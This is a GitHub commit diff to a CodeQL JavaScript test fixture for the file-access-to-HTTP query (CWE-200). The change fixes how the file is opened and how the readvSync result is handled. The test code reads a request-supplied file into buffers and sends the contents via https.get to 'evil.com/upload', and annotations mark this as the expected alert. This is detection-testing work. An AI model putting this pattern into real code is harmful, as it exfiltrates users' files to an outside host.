Skip to content

Commit 75b4d1b

Browse files
committed
Applied copilot suggestions.
1 parent 769fe75 commit 75b4d1b

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js

+3-3
Original file line numberDiff line numberDiff line change
@@ -29,10 +29,10 @@ const fsp = require("fs").promises;
2929

3030
app.post('/readv', async (req, res) => {
3131
const { filename } = req.body;
32-
const fd = await fs.open(filename, 'r');
32+
const fd = await fsp.open(filename, 'r');
3333

3434
const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ Source[js/file-access-to-http]
35-
const { bytesRead } = fs.readvSync(fd, buffer);
35+
const bytesRead = fs.readvSync(fd, buffer);
3636
https.get({
3737
hostname: "evil.com",
3838
path: "/upload",
@@ -41,7 +41,7 @@ app.post('/readv', async (req, res) => {
4141
}, () => { }); // $ Alert[js/file-access-to-http]
4242

4343
const buffer1 = Buffer.alloc(1024); // $ Source[js/file-access-to-http]
44-
const { bytesRead1 } = fs.readvSync(fd, [buffer1]);
44+
const bytesRead1 = fs.readvSync(fd, [buffer1]);
4545
https.get({
4646
hostname: "evil.com",
4747
path: "/upload",

0 commit comments

Comments
 (0)